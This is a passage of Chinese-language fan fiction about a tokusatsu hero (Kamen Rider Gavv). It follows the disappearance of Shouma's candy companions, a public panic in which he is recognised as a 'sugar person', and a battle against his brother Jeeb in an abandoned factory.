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>这种状况自己早有预料。井上生真不是那种坐以待毙的性格,在这种情况下出去找门就是他唯一能做的事情了,只是如果毫无线索的话,这种行为根本就是大海捞针,是极度愚蠢的做法。
“别担心。”按下心中的焦躁,他将手中的包裹放到桌子上,当着幸果的面拆开。
“这是登特叔公刚刚设计完的武器,用来对付救世主K的,一完成就让我立刻带过来了,至少这算一个好消息。”拉齐亚余光瞥向小姑娘,见她心情终于好了一些,眉头也舒缓了几分。
布料被丢到一旁,一个紫色半透明的小罐子被拉齐亚从盒子中小心捧出。造型很普通的圆腹细口瓶,瓶身雕刻了流线型的花纹,只是不知道用的什么材质,那花纹透着一股奇异的感觉,隐约泛着浅紫色的光芒,与美味生变身时瞳孔的颜色很像。
幸果好奇朝里面张望了一眼,是空的。她疑惑望向拉齐亚,对方却摇摇头道:“没有生真的饱藏,它是没有办法使用的。”
说话间,他在桌子附近转了一圈,想请求小饱藏带自己找到生真,然而放眼望去,整个万事屋干干净净,根本没有那群色彩斑斓的小小身影。
他愣了片刻,转头望向幸果,疑惑问道:“他把饱藏全部派出去了吗?”
什么?
幸果茫然地眨了眨眼,而后转身环顾四周,寂静的空气中除了咔哒咔哒的钟表声就只剩下自己越来越急促的心跳。
她的瞳孔陡然放大,猛然意识到刚才一闪而过的异样感到底是什么!
太安静了!
万事屋安静得不正常!
准确来说,小饱藏们窸窸窣窣的轻微动静她已经很久没听见了!
幸果慌张望向拉齐亚,几乎一瞬间,两个人迅速开始在屋子内翻箱倒柜。
窗台花盆,壁龛置物架,小厨房的调料罐,工作台旁的档案柜,还有美味生亲手制作的饱藏小屋......
饱藏们时常在这些地方偷偷观察自家主人与客人们的交流,没有陌生人的时候则喜欢把这里当成游乐场,几个几个聚在一起玩过家家。
而更多的时候,则是趴在自己和美味生的身边,跟一群随身挂件一样走到哪里跟到哪里。
明明除了美味生自己就是与这群小家伙们接触最多的人,难道就是因为太过习以为常,所以它们消失了这么久却一点都没察觉?
幸果半跪在地上轻轻喘息,余光瞥向被翻得乱七八糟的欢乐游行,画面随着记忆向过去延伸。
她记得美味生从墓园回来那天一群饱藏还早她一步蹲在了大门口,争先恐后地朝自家主人扑过去,然后是自己和他们三个争吵了一番,独自生闷气的时候被孩子们争相安慰,再然后......
网络舆论爆发,几个人一瞬间变得有些兵荒马乱,小饱藏们似乎躲进了角落之中,偶尔有个别几个身影出现,也是挂着泪珠可怜兮兮的模样。
那次半夜从梦中惊醒,迎着月光看见美味生背对着自己独自坐在桌子前,面前站着寥寥数个小饱藏,数量少到如今想来绝不算正常的程度,而这就是最后一次了。
那个时候,他好像在对它们说些什么......
[对不起]
“对不起......”
不祥的预感涌上心头,幸果三步并作两步爬上他的小阁楼,不大的空间一览无遗,书柜上三四本常看的书册,彩笔被搁置在一旁的笔筒里,被褥也叠得整整齐齐,明明和平日没有任何区别,但往常那股让人心悦的糖果香却已经消散到几乎闻不出来。
怎么会这样......幸果陷入了极度的迷茫。
她的第一反应是可能美味生又像之前那样陷入了难以孕育饱藏的危险境地,但最近没听说遇上临时工,也没有爆发战斗,不可能会消耗饱藏。也就是说,要么就是跟随主人离开了这里,要么......
她似乎想起了什么,匆忙站起身越过同样爬上来的拉齐亚,冲到餐桌旁的零食柜面前。
求你了。
握紧把手,猛地拉开抽屉,满满当当的彩色包装,这是前段时间自己给美味生买的小零食,还保持着刚塞进去时候的样子,一点没少。
既没有产出,还在不断消失......
“饱藏消失了......拉齐昂......饱藏消失了!”
幸果的眼中是前所未有的惊慌失措,这比饱藏无法出生更让她惊恐,她匆忙望向拉齐亚,想要得到答案,“美味生是不可能偷偷离开的,我们做过约定。”
她坚信生真不会不辞而别,那么只可能是饱藏出了问题。
“你说得对,社长,饱藏真的在消失。”拉齐亚站在小阁楼的橘色木质台阶上,给出了确定的答案,愈发凝重的神色让幸果不由自主地吞了口唾沫。“空气中那股葡萄软糖的气味好像快闻不到了......”
“葡萄软糖的气味?”幸果皱了皱眉,感觉到有温热的液体划过脸颊,她迅速擦掉滚落的泪珠,茫然道:“那不是砂糖人的味道吗?你身上也有......”
拉齐亚摇了摇头,从楼梯上快步走下来,朝她递出了一张纸巾,“砂糖人的气息没有那么重,更何况是半砂糖人。据我猜测,那股异香根本不是生真自己的气味,而是孕育饱藏的味道。”
甜蜜的,温暖的,让人安心,心生喜悦的糖果香,只有可能是自幸福的力量中诞生,又消散于幸福泡泡之中的饱藏才会拥有的味道。
而这种味道在消散,也就意味着生真的力量在逐渐消失,饱藏的失踪就是最好的证明。
他瞥向幸果身旁满满当当的零食柜,喉头滚动了片刻,最终还是开口道:“他大概已经知道自己身体出问题了。”
沉重的气息弥漫开来,谁也不知道往下发展的后果会怎样,是力量彻底消失再也无法变身为加布,还是榨干最后一丝气息于泡沫中消散,但无论哪个结果都是无法承受的。
两个人静静对视了片刻,而后幸果沉沉呼出一口气,用力关上柜门,抱起罐子匆匆朝门口奔去。
“我去把美味生找回来!”
18. 雨季,从根茎开始腐烂(2)
汗水顺着刘海滴落在睫毛上,井上生真下意识闭上眼睛,脱力地扶着河道旁的栏杆缓缓蹲下。
雨季前的空气实在太过闷热潮湿,大脑被热气蒸得晕晕乎乎,口罩也已经不知道被汗水打湿了多少个,他揉揉眼睛擦掉即将渗进去的汗珠,确认四下无人,扯起再次变得黏糊糊的口罩,拉开一条缝隙试图获得相对清凉的空气。
自从绊斗把文章发布出去以后,这座城市就开始变得警戒。虽然新闻并未正式提起“砂糖人”,也在不断警告市民切勿听信网络谣言,但政府很显然已经开始行动。禁止大型聚集活动,街边时不时有巡逻人员,临时工销声匿迹,斯托马克公司也似乎没再在这里行动过,一切都在往好的方向发展。
但他知道这只是暂时性的——人类不可能永远保持警惕,而斯托马克公司拥有足够的耐心。
更何况前段时间被抓捕的大批人类还在工厂等待被制成黑暗零食,越是找不到通道,他们存活下来的希望就变得越渺茫。为了争取时间,自己只能日夜不停地一点点试门,但即便如此也依然一无所获。
他闭上眼睛,额头无力地磕在铁栏杆上,大礼堂的画面不停在眼前闪回,家属的哭喊与咒骂总是时不时钻入脑海。明明知道一切真相,却依然无能为力,明明下定决心要守护妈妈的故乡,却发现一旦哥哥姐姐们认真起来,自己的力量就变得如此渺小,一切的承诺一切的约定似乎也成为了不自量力的笑话。
有时候他甚至开始认同兰戈哥哥的理由,既胆怯又懦弱,连母亲都无法守护的人又怎么敢大言不惭地决定守护人类世界。
纷杂的情绪如潮水般漫过大脑,意识到不对劲,他甩了甩头想压下不妙的想法,心脏却反常地跳动得更加剧烈。铁栏杆似乎成为了唯一的依靠,他紧紧抓住手中的事物,直到坚硬的金属发出轻微的咔嚓声,他才受惊一般瞬间清醒,捂着胸口发出剧烈的喘息。
“哥哥?你还好吗?”
一道清甜的嗓音从背后传来,生真的瞳孔猛然一缩,条件反射地拉上口罩站起身。
来人是个六七岁的小女孩,穿着天蓝色的幼稚园服装,正从书包中往外掏水杯。
他这才意识到自己在这里耽搁了太长时间,附近的学校已经放学,很快这里就会出现一大批人,不能再待下去了。
生真四下张望一圈,果然在不远处看到了小姑娘的母亲。
“哥哥,要喝水吗?”小姑娘踮起脚尖,努力将杯子凑到自己眼前。
那母亲微笑着朝自己点了点头,表示并不介意,而后缓步靠近,露出略显担忧的神色。“请问是身体不舒服吗?需要带你去医院吗?”
“不,我没事......”生真慌张地摆摆手,见那个人类仍一步步靠近,他低头扯了扯外衣帽子,下意识向后退去,后背撞上锈蚀斑驳的铁栏杆,而下面就是人工河道的堤岸。
自己现在这样肯定很奇怪,他有些自暴自弃地想到。心脏还在不受控制地疯狂跳动,周遭的空气也因此变得更加粘稠,他有些焦躁地拧起眉心,只想祈求人类赶紧离开。
那母亲果然顿住脚步,旋即略显紧张地牵起小姑娘的手。
面前的少年穿着不合时宜的两件套,被热得脸颊泛起异样的潮红,却始终紧紧抓着外衣的帽檐,眼神躲闪着不敢视人的奇怪模样。更重要的是那双裸露在外的眼睛,即使被刻意遮挡,也让她莫名升起一丝熟悉的既视感。
递出的水杯无人在意,小姑娘的视线在两人之间疑惑转了几圈,旋即挣脱开妈妈的手,朝井上生真靠得更近。
空气中隐藏着一股不太能分辨的糖果香,她抬头望向味道的来源,隐藏在帽檐之下的眼睛温和而柔软,见自己望过来,他动了动眉眼,朝自己露出一丝笑意。小姑娘似乎得到了鼓励,牵起垂下的手将水杯塞进他的手心。
然而,在水杯即将被握住的那一刻,妈妈却突然爆发出一声尖叫,糖果香瞬间从自己的身边抽离,如同幻觉一般消失得无影无踪,紧接着身体便猛得倒进妈妈的怀里。
“你!你是网上传的那个砂糖人!!!”
妈妈的怀抱硌得四肢生疼,恐惧的惊叫刺穿耳膜,她屈了下手指,掌中空无一物。水杯掉落在地上发出沉闷的响声,在她的视线中咕噜咕噜滚落下河堤不见了踪影。
小姑娘登时委屈地放声大哭。
尖叫声不受控制地传播了出去,生真本就不太灵光的大脑还未来得及做出反应便被赶来的人群团团围住。
好奇,恐惧,怀疑,茫然,他大概知道人类是一种怎样的神色,在他变身为加布的时候经受的就够多了,而以自己的真面目示人时甚至连正面对视的勇气都没有。
不过好在口罩还在脸上,至少没有暴露自己太过糟糕的状态,人类暂时还不敢靠近。他伸手拉扯了一下帽檐,抬起脑袋想寻找出路,然而视线刚与人群接触,一阵刺眼的闪光灯便闪过自己的眼睛,脑袋陡然嗡了一声,视野在一瞬间便消失殆尽。
人群不出意料地传来一阵混乱的惊叫,有些胆小的孩子被不妙的氛围吓到抽泣起来。他慌张退回原地,四周传来拨打电话的声音,大概是在报警。
但他根本没有精力去关注这些,那股强烈的窒息感再次卷土重来,几乎夺取了他全部的理智,周遭的声浪一重高过一重,如同实质一般企图将自己撕裂成两半。他一步步向后退去,再次靠上那段铁锈色的栏杆,下面是略显湍急的人工河道,几乎环绕了半个城市。
双手靠后握住栏杆,他抿了抿嘴。如果不能从前方离开的话......
就跳下去。
......
生真!
重重声浪之中似乎出现了一道模糊的声音,即使难以捕捉却依然精准地闯入了大脑。生真紧了紧双手,近乎焦躁地茫然搜寻,周围仍然是无穷无尽的陌生人,既不敢靠近,也不放任自己离开。
但剧烈的心跳却奇迹般地平复了几分。
“生真!愣着干嘛!快跑!”
手腕被滚烫的手掌用力握住,不由分说的强硬力道几乎将自己扯得一个踉跄,他下意识跟随指引朝侧边望去,密不透风的人群被强行分开了一道缝隙,辛木田绊斗正一边道歉一边将自己扯出包围圈。
风声逐渐在耳边响起,铁栏杆,人工河道,居民楼,学校,惊恐的人类,四周的景物在急速倒退,生真意识到自己在奔跑,头上的兜帽在鼓动的风声中被掀翻开来,失去阻碍,清凉的风沿着发丝将
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汗水吹落于身后。
明明是在狂奔,心脏却如同被注入了温和绵密的奶油一般缓缓平复,他低头看向自己的手腕,平时柔软的人类皮肤如今泛起了青筋,原来即便是力量弱小的人类,使劲的时候还是会让自己感到疼痛。
静静看一会儿,他抽出自己手腕,在绊斗惊愕的眼神中反手握住了对方,而后环顾一圈,凭借这几天对附近的探索迅速确认了现在的位置。
“走这边。”
“你疯啦!”
拐进一个小巷子内,绊斗上下扫了一眼仍在喘息的生真,刚才煞白的面孔终于恢复了一点血色,他气不打一处来,一把揪住那件糖果色的外衣帽子,气愤地再次兜头扣上去。“这种时候都敢跑出来,被他们抓住谁去救你!”
“你什么时候出来的?”生真默默整理好帽子,深棕色的卷发再次隐藏进黑暗中。
“没多久,一出来就来找你了。”他扬了扬手中的白巧饱藏,轻声笑道:“幸好我机智地用了拉齐亚的手机,不然就凭那篇报道,你们肯定见不到我了!”
见生真只是弯了弯眼角略作回应,绊斗从衣领处抽出随身携带的墨镜,对着生真边比划边道:“知道你着急救人,但还是多在乎一下自己比较好。我们找了大半年的门都没找到,你这样大海捞针式的找法除了折磨自己还有什么用。”
更何况门是随机的,像酸贺地下室内被废弃的稳定通道更是凤毛麟角。
生真默默补充完绊斗未说完的话,心口再次变得沉甸甸的。
墨镜被架在自己的脸上,生真挑了挑眉,不太习惯地捏起镜腿,这下是真的整张脸都被挡住了,任谁都认不出自己。
“很帅嘛~我这副墨镜可是师傅送我的第一个礼物,可不是谁都能戴的。”
怪不得绊斗一直随身带着这副墨镜,却很少见他使用。生真呆愣了片刻,松开指尖的镜腿,只是现在,被斯托马克刻意杀害的盐谷先生的遗物,却被他的徒弟亲手架在了斯托马克家末子的脸上。
“关于苦涩加布的文章我会尽快写完,只是苦于没有留下足够直接的证据,不一定会有效果。”空气中的糖果香似乎有些难以捕捉,绊斗朝生真靠近了一些,指腹碰到对方半露在衣袖外的苍白指尖,身边终于再次萦绕上那股让人安心的味道。“但至少我也想努力一把,就算你真的不在意,我也会在意。”
“对不起,让你担这么大的风险。”
“笨蛋!”绊斗气呼呼地捧起生真的脸颊,他看不见墨镜底下的眼睛,但他知道这一定不是自己想看见的,真正的井上生真从不说这些丧气话。
“既然如此就赶紧振作起来啊!斯托马克家族还在等着你亲手打倒吧,先他们一步倒下那怎么能行!”
然而,生真却抬起墨镜,一眨不眨地盯着自己背后的街道,似乎根本没听见刚才的话语。
紧接着,他犹豫着越过自己朝视线的方向走去,越走越急,到后面几乎小跑起来。那边的尽头是一只小饱藏,正眼泪汪汪地努力朝主人奔去。仅一瞬间,绊斗就意识到发生了什么——这是一只报信的饱藏,并且带来了很糟糕的消息:
吉普抓住了井上优先生,并让饱藏带话,给它的主人井上生真下了战书。
19. 饱藏的决意!一击必杀!(1)
城郊的一座废弃工厂内,身着黑白双色的宫廷长裙,长发半黑半白的男孩子坐在离地近十米的铁质围栏外侧,悠闲地晃荡着小腿,漆黑亮丽的小皮鞋一下一下敲击锈蚀的金属,沉闷的响声在半空中回荡。
吉普从高空往下望,整个废弃工厂一览无遗。
这里是红腹口杀死西塔的地方,也是自己被迫与西塔分离的地方。
他不在乎什么家族繁荣,也对黑暗零食的产业没有任何兴趣,只要自己能与西塔永远在一起比什么都重要。
然而他却因为红腹口被活生生挖掉了自己的半身。
不可饶恕!
他捏紧了手中的压缩人类,替代原腹口的黑腹口正极具存在感地缓缓蠕动,似乎企图吞噬掉什么东西,不过他全都不在乎。
只要能杀掉红腹口,哪怕付出性命也在所不惜,最差的结果也不过是与西塔共下地狱罢了。
她不会责怪自己的。
所以当尼耶鲁布哥哥告知自己计划时,他几乎未做思考就直接答应了,哪怕只是把自己当成一个诱饵,一个棋子,一个随时可以丢弃的没用的弟弟。
不过没有想到红腹口居然能走出这样一步险棋,就算牺牲掉自己也要扼制住兰戈哥哥的行动。
他轻声笑了出来,这两个人的争斗最终无论是谁获得胜利自己都乐见其成,反正都是讨厌的人,全都该死!
他放肆地笑着,笑声回荡在空无一人的废弃工厂,直到一直偷偷监视自己的饱藏接二连三冒了头,他止住笑声,知道等待的人来了。
几天不见,红腹口的状态似乎比自己想象中更差一些,眼中透着难以化开的疲倦,讲话倒是依然中气十足。
“把井上先生还给我!”
吉普扬了扬手中的压缩人类,随手丢下近十米的高台。
这个高度,压缩人类必然会被摔成碎块!
井上生真瞳孔一缩,本能地朝那边扑过去,然而距离实在太远,哪怕立刻变身也来不及了!
几乎被绝望笼罩之际,下方却突然凭空出现了两道黑色人影,一把抓住尚未落地的压缩人类,在空中翻滚了一圈后稳稳站直。
是吉普的眷属,自己被耍了。
生真啧了一声,有些恼怒地看向吉普。
“公平对决,谁允许你带帮手的?”
生真没有回应,缩在袖口内的指尖被掐到泛白,隔着衣料,辛木田绊斗的掌心附上来,温暖的体温传递上胸腔,让他后知后觉地感受到一丝疼痛。
“井上先生交给我,别担心。”
又多了数道漆黑人影,与另外两个眷属将绊斗团团围住,这是摆明了不想让他搅和那两个砂糖人之间即将爆发的战斗。
绊斗警惕地盯着这些眷属,悄悄掏出巧克力冰沙饱藏,而后将视线落到了某个眷属的手心——果然是井上先生。
[布拉姆驱动器-巧克力冰沙形态]
[雪糕]
“变身!”/“变身!”
两种强势的冰凉气息瞬间纠缠着扩散开来,给炎热潮湿的沉闷气候带来透人心魄的清凉。
“为什么不用蛋糕王?比起雪糕我更想亲手打败蛋糕王。”吉普皮笑肉不笑地站起身,小皮鞋踏在高高的铁架子上,跨至边缘。“是因为太过消耗体力怕自己撑不住吗?”
微扬的语调散进风里,吉普一步踏进虚空之中,在重力的作用下朝地面急速下坠。
“轰——”
水泥地面在巨大的冲击力下瞬间凹陷碎裂,黑白焦褐的血肉骑士款款站起身,腐烂腥臭的味道随之爆发,将冰雪的凉意吞没兼并。
透白泛蓝的冰川应召而来,带着势如破竹的气势将救世主K团团围住。
经过上次的交锋,生真深知绝不能在不做任何准备的情况下直接接触救世主K装甲,而雪糕饱藏正是擅长远程防控的类型。
只是如今潮湿炎热的气温会加速雪糕饱藏的融化,而要在极短的时间内一举击败救世主K,哪怕自己从一开始就付出全力也没有信心。
所以,现在他最重要的是为绊斗争取时间,一旦井上先生被救出来,无论这场战斗结果如何他都不会再有后顾之忧。
冰川沿着地面朝救世主K急速蔓延,不过一瞬便缠上对面的双腿,如同攀上枝干的藤蔓拼命朝上方涌去,黏上躯干,刺向脖颈,眼见着就要将对方完全冻为冰雕,内部却兀然闪烁起红光。伴随着巨大沉闷的咔嚓声,厚重的冰川如同易碎的水晶石瞬间炸裂成无数细小冰晶,弥漫出浓重的雪白雾气。
密密麻麻的红光突然冲出雾气直朝生真攻过来,他紧急侧身翻滚避过几枪,咬咬剑从腹口中弹射而出,砰的一声迎面撞上正向而来的猛烈进攻。
反手接住被巨大气流冲回来的咬咬剑,清凉的冰沿着剑柄急速生长,只一瞬间便给咬咬剑附上一层极具生命力的冰雪铠甲,生真毫不犹豫地冲入雾气之中。
吉普的眷属不算难打,但胜在数量颇多,战斗素养也高,如果目标是放在井上先生身上的话绝对会被耍得团团转。
压缩人类再次被抛接到另一个眷属手中,绊斗咬了咬后槽牙,内心升起一股无名怒火。
弯腰躲过侧前方袭来的拳头,刚想直起身,集装箱上的眷属随即跳了下来,双腿直接绞上自己的脖颈,顺着强硬的力道,绊斗就地翻滚一圈将其压在身下,就在此时,背后激光枪的射线便紧随其后朝自己袭来。
当即放开身下的眷属,绊斗立刻往旁边侧身闪开,眼看那位眷属被激光枪射中,当场没了声息,他拍了拍胸脯惊魂未定。
眷属的武器果然还是太可怕了。
绊斗环顾一圈,跳上集装箱,将附近的地形尽收眼底。层层叠叠的集装箱,大量废弃的锈蚀器械,既是掩体也是武器。
现在这个状况,比起在空旷地带被大批眷属围攻,不如利用遮掩物将它们逐个击破。
侧头躲过下方射来的激光射线,他朝眷属勾了勾手指,旋即隐藏进重重叠叠的钢铁之中。
“锃!”
寒光闪过,金铁相交,冰晶沿着触点朝对面快速攀升,而后又不出所料地被巨大的力道一击甩开,根本触及不到那幅血肉盔甲。
这样的场景早已重复了无数次。生真半撑在地上,喘了口气,将手中的剑柄握得更紧。
上次他就发现冰雪技能似乎对这一代救世主K有一定的效果,只是铠甲修复速度太快,哪怕破坏了某一处又会立刻被蠕动的血肉填补,乍一看似乎没有任何变化。
但只要力量足够强大,对准黑腹口与□□的连接处快速攻击的话应该至少能限制一下吉普的行动。
只是显然吉普也注意到了这一点,自己落下的每一次攻击全数被挡,连接触的机会都没有,而雪糕饱藏的维持时间却在急速流逝。
他闭了闭眼,内心竟无法控制地升起强烈的挫败感。
“你的状态好像不太好啊,红腹口?”
心口陡然一沉,生真惊颤回神,烘焙马格南的枪口竟已直指胸腔!
吉普尖笑着,兴奋地瞪大双眼,鲜红色的能量从周边汇聚,冰雪铠甲竟在滚烫的温度下一点点消融,雪糕饱藏撑不住了!
生真几乎靠着本能拼命朝侧边闪避,勉强侧过几公分,烈火轰然洞穿身体,冰凉的雾气瞬间爆开,染上血色,向后方极速蔓延。
“呲啦——”
咬咬剑在地上喇出深深的裂痕,直到人类的脊骨狠狠撞上冰凉的金属建筑才堪堪停住。
剑柄发出轻微的颤音,生真奋力甩了甩脑袋,眼前的画面尚未清晰,便立刻听到了绊斗惊恐的尖叫。
“生真!快躲开!”
“吱——”
头顶落下一大片阴影,感受到饱藏们争先恐后地钻入自己的掌心,生真当即随手捞起一只饱藏拍入咬咬剑,猛得朝空中连续挥出数道能量束,剑光直直劈上断裂的高塔,庞大的金属建筑在一瞬间便被分割成无数废铁。
钢材噼里啪啦落了一地,足足十来秒,嘈杂尖锐的声音才逐渐平息。空气中扬起沉重的烟尘,生真轻咳几声,脱力地背靠上只剩一个底座的高塔,任由饱藏们叽叽喳喳涌向自己。
鲜血浸透糖果色的外衣,顺着剑柄一点点滑落,滴滴答答在地上洇湿了一片。
肩膀被能量束贯穿,麻木过后便泛起火辣辣的疼,幸而是左肩,不会太耽误战斗。他紧了紧武器,朝绊斗大声道:“我没事!”
眼角余光瞥向不远处的绊斗,对方一拳打散一个眷属,目光朝自己这边停留了近三四秒,而后朝瓦伦破坏枪塞入白巧饱藏,眼神似乎变得更凶狠了一些。
那边的战斗还在继续,井上先生也还没到手,还不到灰心丧气的时候。他喘了口气望向前方,吉普的身影从烟尘中显现,他握住早已钻入掌心的蛋糕王饱藏,哑声道:“既然你想要蛋糕王,那就来。”
[神异蛋糕王]
雪白泛金的装甲一寸寸包裹住人类狼狈的身躯,奶油长枪凭着意念于手中显现,散发出温柔香甜的草莓奶油味道。这只饱藏的力量来源于幸果小姐,也是生真来到人类世界后获得的第一股远超于普通饱藏的,更为强大更为幸福的力量,永远不会消失的力量。
他用这股力量第一次亲手打败了自己的哥哥姐姐,完成了与幸果小姐的约定,就在这座废弃工厂,在这座已然报废的钢铁高塔之下。
而在这位白金王者的终结技之下,西塔奋力推开吉普,用性命为自己的胞弟创造了一条生路。现在,他们再次汇聚在了这里。
“很好,非常好。”吉普咯咯笑了起来,肩膀如同蝴蝶翅膀一般一阵阵颤动,声音中却带上了一丝哽咽的疯狂,“你这幅样子,
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让我更想亲手杀掉你了!”
救世主K金黄的复眼之中竟离奇地闪过一丝白光,身后的地面被烘焙马格南猛地击中一枪,巨大的能量波中,吉普借着冲劲瞬间跨越几十米的距离闪至井上生真的面前,贴着腹口便扣动了扳机。
奶油长枪急速扫过烘焙马格南,血红色的能量束堪堪擦过腰侧轰飞身后的钢铁机械。巨大的轰隆声里,生真轻踏仍未收起的马格南,凌空翻身轻盈越过吉普的头顶,腰部一扭猛地挥动已然附上一层金光的奶油长枪。
马格南被顺势当成支点撑在地上,吉普似乎完全不在意背后的状况,在那道金色光束劈上自己的身躯,掀起大片糜烂皮肉之时飞起一脚直接踹上生真毫无格挡的胸口。蛋糕王被踹得连连后退,刚稳住身形,吉普便携着马格南再次朝自己疾掠而来。
这打法简直和疯子一样!
生真慌忙举枪格挡,砰的一声,巨大的力道沿着金属枪柄传递上手臂,震得生真虎口发麻,而对方明显没有给自己喘息的意思,挥舞着马格南连连进攻。铛铛铛的声音里,生真眼见着刚才对救世主K造成的巨大伤口被蠕动的血肉快速包裹,转瞬之间就消失不见,而自己却在对方的强攻之中连连后退。
还不到时候。
他再次隔开马格南,握着奶油长枪的双手止不住颤栗。
吉普扫了一眼,轻笑一声道:“又变成只会逃避的胆小鬼了吗?你杀掉西塔时的那副气势去了哪里?”
生真仅是瞥了一眼,权当什么都没听到。
见他不说话,吉普瞬间翻脸,刚要抬起马格南,远处却传来瓦伦的声音。
“生真!井上先生!”
废弃工厂的中心区域,集装箱被撂倒了一大片,附近的金属器械无一例外全部爬满了一层雪白的冰霜,在极度的低温与炽热的高温共同作用之下不断发出爆裂的声音。那群黑色的身影已然消失不见,而压缩人类正被绊斗握在手中,远远朝着生真左右晃动。
生真心中一喜,趁吉普的注意力尚未集中,将蛋糕王饱藏一掌拍进长枪之中,奶油炮一瞬间便被附上一层金光,在极近的距离之下爆发出更为强大的冲击力,直冲黑腹口的连接处。
“轰——”
甜腻的奶油香中,救世主K瞬间倒飞出去,在水泥地上拖行了近十几米。
吉普翻滚几圈单膝跪地,皱眉捂住腹口的位置,那里竟隐隐有开裂的趋势。而对面的红腹口早已半蹲下来,纯金色的巨大能量朝右脚位置急速汇聚,几乎将四周的空间都扭曲了半分。
左脚一蹬,白金王者双臂舒展,如同一只轻盈的纯白天使腾空而起,滞空半秒后化为一道金光急速朝下方的救世主K袭去!
神异蛋糕王的全力一击!
吉普抬头望向空中,面对几乎能毁灭半座废弃工厂的剧烈能量波,却突然咧开嘴角。
“你以为同样的招式对我还有用吗?”他不疾不徐地缓缓推动黑腹口的机械把手,齿轮滚动之间,持枪的右手血肉快速生长连结,只一瞬间这柄纯粹的人造武器就化为了救世主K的器官。“我不会再重蹈覆辙了,红腹口!”
救世主K的正前方出现了近乎笼罩住全身的巨大光圈,如同数个腹口一般繁复的血红色花纹闪耀出刺眼的红光,如同跳动的心脏一阵阵闪烁,而后急速向内收缩,直至全部凝于马格南的枪口。
救世主K如同一座大型激光炮,直接迎着空中的蛋糕王扣动了扳机!
轰的一声,全身被金光包裹的蛋糕王与鲜红色的能量束猛然相撞,周围燃起熊熊烈风,滚烫的高温竟将地面的冰雪一瞬间汽化,钢材一寸寸发出极其尖锐的嗡鸣声,似乎立刻就会爆裂开来。
绊斗惊恐望向半空之中,不过三四秒蛋糕王已显颓势,然而生真似乎完全没有放弃的打算,借着巨大的冲击力二次蓄力,更为强大的能量波让整片废弃工厂一阵沸腾,如果不是身着巧克力冰沙装甲,他恐怕早就被掀翻到几十米开外。
这股能量远远超越了蛋糕王承受的极限!
“井上生真!你疯了!”
城市边缘的大桥之上,甘根幸果喘着粗气停下脚步,她看向怀中的糖果罐,本该是个死物的小罐子竟开始不知缘由地发出轻微的嗡鸣声,罐身的流线型花纹隐约流淌出亮紫色的光芒,让整个罐身染上更为奇异的色彩。
那嗡鸣之声越来越大,不过几秒,罐子便如同被煮沸的开水彻底躁动起来,紫色的流光更甚,刺得幸果根本睁不开眼。她下意识闭上眼睛,怀中却突然一空,糖果罐仿佛受到了无形的感召,竟化为一道深紫色的流星朝某个方向飞去!
“等等!”
幸果大脑一片空白,慌忙朝糖果罐追去,不过追出几步,一道电光猛然闪过脑海,她立刻掏出手机播出号码。
“拉齐昂抬头!城西方向!找到美味生了!”
20. 饱藏的决意!一击必杀!(2)
“你就在这里给西塔陪葬吧!”
大片的鲜红光芒先一步充斥了绊斗的全部视野,而后便是一阵震天动地的巨响,他连做出反应都来不及便直接被凶猛的余波刮得倒飞出去,一连撞倒数根乱七八糟竖在地上的钢材,巧克力冰沙装甲终于不堪重负,在完成最后一份保护之后融化消散。
......
“咳咳咳”
喉间漫上一股血腥味,绊斗抹了下嘴角,看向四周几乎被摧毁了大半的工厂,心脏开始不受控制地突突直跳。
厚重的烟尘一点点散去,一道人影跪倒在倒塌溃散的高塔附近,隐隐绰绰,看不分明。
绊斗滚动了下喉结,眯起眼睛,极力分辨糖果色的身影,一阵充满潮气的风从外面吹来,逐步化开战场的高温,而那隐藏在浓雾之下的身影也一点点显现。
是黑白焦褐的救世主K。
不,还有很刺眼的红,被救世主K钉在了脚下!
吉普的铠甲上是大面积的伤痕,星星点点的火星子在大片溃烂的皮肉上随着喘息一起一伏,受伤最严重的地方往下凹陷出一大块孔洞,周边几块焦黑的碎肉摇摇欲坠,一阵风拂过便噗嗤一声掉落于地。然而那片血肉依然在顽强并放肆地繁殖,不出片刻就会完好如初。
而他身下趴伏着的身影正是穿着鲜红色外套的井上生真,他的胸口正毫无章法地起伏着,双手无力垂落在两侧,连挣扎都相当费力。
“哈......哈哈......”
吉普轻笑着,喘息着弯下腰,伸出尚且完好的左手,掐住井上生真的脖颈将他提起来,抬起烘焙马格南稳稳抵住太阳穴。
“终于......终于抓住你了......”吉普的声音变了调,让人听不出是笑还是哭。
周围的饱藏越聚越多,平日胆小爱哭的小家伙们一个个露出从未见过的凶狠神色,近乎疯狂地撞击着吉普手中的马格南,扑倒一个就接着下一个,发出吵闹的“邦邦”声。然而小小的身躯实在微不足道,吉普只是轻微晃动一下手臂就撂倒一大片。
生真缓缓睁开眼睛,救世主K金黄的复眼在模糊的视线中被扭曲成了魔狼的纯白瞳孔,与西塔一模一样的瞳孔,他看见他略带疯狂的笑意,唇瓣一张一合,应该是在说:
“去死吧!”
耳边一声炸响,想象中的疼痛并没有出现,身体却在巨大的气流中挣脱吉普的钳制,猛地撞上几米开外的巨型钢铁机械。
胸腔中脱力的窒息感仍未缓解,但好歹有了空气流通的迹象,他勉力睁开眼睛,不明白究竟发生了什么。
前方被陌生的气流冲出一大片空地,刚才还是一副胜利者姿态的吉普被狠狠冲撞到对面,被迫与自己隔开几十米的距离,而造成这一切的原因,只可能是空地正中央似乎被随意丢弃进来的透明小罐子。
看到罐子的一瞬间,生真直觉地明白了缘由。
这是叔公为自己制作的终极武器,虽然不明白刚才为什么会发生异象,但他知道如果没有饱藏这东西是绝对无法使用的——毕竟它现在又回归成了一个死物。
生真垂下眼眸,再次无法遏制地失落下去。
而吉普显然已经缓了过来,摇摇晃晃地站起身,一步一步坚定地朝他走去。
......
身边传来窸窸窣窣的声音,生真抬眼望去,饱藏们从自己身边,从断裂的高塔,从报废的钢材之中逐一冒了头,跨越重重阻碍,迅速并坚定地朝糖果罐奔去。
这里有不久前新孕育的跳跳糖饱藏,有幸果小姐做的年糕饱藏,有拉齐亚送的布丁孕育而成的布丁饱藏,给绊斗准备的白巧与黑巧,还有甜甜圈,棒棒糖,棉花糖,汽水糖,脆脆薯片,以及生真来到人类世界时孕育的第一只饱藏——葡萄软糖。
它们一个个排着队将自己送进窄小的瓶口,色彩斑斓的小小身躯在生真的视线中一寸寸瓦解,化为无数细微但温暖的光芒,那光芒如同受到感召一般朝生真的方向绕了一两圈,而后果断投入空罐之中。
不过几秒的功夫,画面却在生真的眼中不断停留,放大,他看清了每一只饱藏消失前的眼神,它们朝自己鞠躬道别,在童话色的身躯彻底化为斑驳光点之前,将视线牢牢钉在自己身上,仿佛想要洞穿时空,跨越距离,刻下永恒的烙印。
